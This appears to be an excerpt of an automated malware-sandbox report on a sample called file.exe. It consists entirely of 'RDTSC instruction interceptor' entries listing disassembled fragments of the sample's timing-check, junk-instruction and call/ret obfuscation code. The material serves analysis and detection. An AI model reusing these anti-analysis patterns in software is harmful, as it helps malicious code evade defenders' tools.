Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5AE9 second address: 8E5AF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F33C4756A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8675F8 second address: 867613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F33C5AF17D2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867613 second address: 867619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867619 second address: 86762A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F33C5AF17C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ECDCD second address: 8ECDD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EBA89 second address: 8EBA8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EBA8D second address: 8EBA91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EBA91 second address: 8EBA9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F33C5AF17C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EBBE0 second address: 8EBBE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EBBE4 second address: 8EBBF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EBBF2 second address: 8EBBF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EBBF6 second address: 8EBC0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F33C5AF17C6h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EBC0C second address: 8EBC28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A2Ch 0x00000007 jng 00007F33C4756A26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EBDB3 second address: 8EBDB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC076 second address: 8EC07A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC07A second address: 8EC07E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC07E second address: 8EC088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC088 second address: 8EC097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33C5AF17CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC097 second address: 8EC09B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EB721 second address: 8EB748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33C5AF17D5h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 jne 00007F33C5AF17C6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EB748 second address: 8EB75E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC5EA second address: 8EC610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33C5AF17CDh 0x00000009 jmp 00007F33C5AF17D5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC610 second address: 8EC632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jc 00007F33C4756A2Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC632 second address: 8EC641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F33C5AF17C8h 0x0000000a push esi 0x0000000b pop esi 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC641 second address: 8EC647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ECA84 second address: 8ECAA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F33C5AF17D6h 0x0000000b popad 0x0000000c ja 00007F33C5AF17CCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ECAA9 second address: 8ECAB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 jns 00007F33C4756A26h 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879C4D second address: 879C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F356C second address: 8F3577 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F33C4756A26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3577 second address: 8F3588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F33C5AF17C6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3588 second address: 8F358C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BC6D9 second address: 8BC6DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BC6DD second address: 8BC76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F33C4756A31h 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F33C4756A28h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov dword ptr [ebp+12475BF3h], edx 0x00000033 jmp 00007F33C4756A2Eh 0x00000038 lea eax, dword ptr [ebp+124904A3h] 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 call 00007F33C4756A28h 0x00000046 pop eax 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b add dword ptr [esp+04h], 0000001Dh 0x00000053 inc eax 0x00000054 push eax 0x00000055 ret 0x00000056 pop eax 0x00000057 ret 0x00000058 push eax 0x00000059 jc 00007F33C4756A38h 0x0000005f push eax 0x00000060 push edx 0x00000061 jnc 00007F33C4756A26h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BC76D second address: 8BC771 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BC771 second address: 897577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edx, 0A92A63Fh 0x0000000e mov edx, ecx 0x00000010 call dword ptr [ebp+122D3734h] 0x00000016 pushad 0x00000017 jl 00007F33C4756A2Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BC822 second address: 8BC826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCCEE second address: 8BCCF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F33C4756A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCDB5 second address: 8BCDBB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCDBB second address: 8BCE0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F33C4756A36h 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007F33C4756A2Ch 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c popad 0x0000001d popad 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCE0C second address: 8BCE10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCE10 second address: 8BCE14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCE14 second address: 8BCE1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCF8F second address: 8BCFAD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jg 00007F33C4756A2Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F33C4756A26h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCFAD second address: 8BCFE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, esi 0x00000008 cmc 0x00000009 nop 0x0000000a pushad 0x0000000b pushad 0x0000000c jc 00007F33C5AF17C6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 jmp 00007F33C5AF17D5h 0x0000001a popad 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jns 00007F33C5AF17C8h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD72F second address: 8BD7AB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F33C4756A28h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push edx 0x00000025 push ecx 0x00000026 xor edx, 18467B48h 0x0000002c pop edx 0x0000002d pop ecx 0x0000002e push 0000001Eh 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007F33C4756A28h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 00000018h 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a mov edi, dword ptr [ebp+122D1B10h] 0x00000050 push ecx 0x00000051 jmp 00007F33C4756A30h 0x00000056 pop edi 0x00000057 push eax 0x00000058 jc 00007F33C4756A34h 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BDAFF second address: 8BDB04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BDB04 second address: 8BDB0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BDB0A second address: 89813F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov dword ptr [ebp+12478B34h], ebx 0x0000000e mov dx, FC74h 0x00000012 lea eax, dword ptr [ebp+124904A3h] 0x00000018 mov dword ptr [ebp+122D2F1Dh], edi 0x0000001e jo 00007F33C5AF17CCh 0x00000024 add ecx, dword ptr [ebp+122D2BB9h] 0x0000002a push eax 0x0000002b pushad 0x0000002c pushad 0x0000002d je 00007F33C5AF17C6h 0x00000033 jno 00007F33C5AF17C6h 0x00000039 popad 0x0000003a push eax 0x0000003b js 00007F33C5AF17C6h 0x00000041 pop eax 0x00000042 popad 0x00000043 mov dword ptr [esp], eax 0x00000046 mov dword ptr [ebp+122D3685h], edx 0x0000004c call dword ptr [ebp+122D36EAh] 0x00000052 push eax 0x00000053 push edx 0x00000054 push edi 0x00000055 push ebx 0x00000056 pop ebx 0x00000057 pop edi 0x00000058 je 00007F33C5AF17CCh 0x0000005e jbe 00007F33C5AF17C6h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3929 second address: 8F3932 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4012 second address: 8F403D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F33C5AF17C8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop edx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F33C5AF17D9h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F403D second address: 8F4048 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F33C4756A26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F418A second address: 8F41CB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F33C5AF17E0h 0x00000008 jo 00007F33C5AF17C6h 0x0000000e jmp 00007F33C5AF17D4h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F33C5AF17D2h 0x0000001c pushad 0x0000001d jl 00007F33C5AF17C6h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F41CB second address: 8F41DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F33C4756A2Ah 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F41DC second address: 8F41FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 jnl 00007F33C5AF17C6h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F33C5AF17CAh 0x00000015 jno 00007F33C5AF17C6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F41FC second address: 8F4200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F73A9 second address: 8F73AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F73AD second address: 8F73CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F33C4756A26h 0x0000000e jmp 00007F33C4756A30h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAFC1 second address: 8FAFCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F33C5AF17C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAA4B second address: 8FAA58 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jg 00007F33C4756A26h 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAA58 second address: 8FAA7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33C5AF17CAh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 jnl 00007F33C5AF17CEh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FF5AB second address: 8FF5B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FF5B1 second address: 8FF5B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FF5B5 second address: 8FF5C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F33C4756A26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905E6C second address: 905E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905E71 second address: 905E79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9046AF second address: 9046B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904D8E second address: 904D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904D99 second address: 904DB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D3h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905B3E second address: 905B52 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33C4756A2Ah 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905B52 second address: 905B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905B58 second address: 905B5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905B5C second address: 905B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007F33C5AF17C6h 0x0000000d jng 00007F33C5AF17C6h 0x00000013 js 00007F33C5AF17C6h 0x00000019 jmp 00007F33C5AF17CEh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9093C7 second address: 9093DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F33C4756A30h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9093DD second address: 909431 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F33C5AF17C6h 0x00000008 jmp 00007F33C5AF17CBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F33C5AF17D8h 0x00000017 jmp 00007F33C5AF17D8h 0x0000001c popad 0x0000001d pop edx 0x0000001e pop eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 jne 00007F33C5AF17C6h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909431 second address: 909449 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F33C4756A26h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 909449 second address: 90945D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F33C5AF17C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F33C5AF17C6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90945D second address: 909461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CC86 second address: 90CC8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912375 second address: 91237C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91237C second address: 912395 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F33C5AF17CFh 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912395 second address: 912399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9124E9 second address: 9124ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9124ED second address: 9124F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91348C second address: 913496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 913496 second address: 9134AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33C4756A31h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 913801 second address: 913820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F33C5AF17D5h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
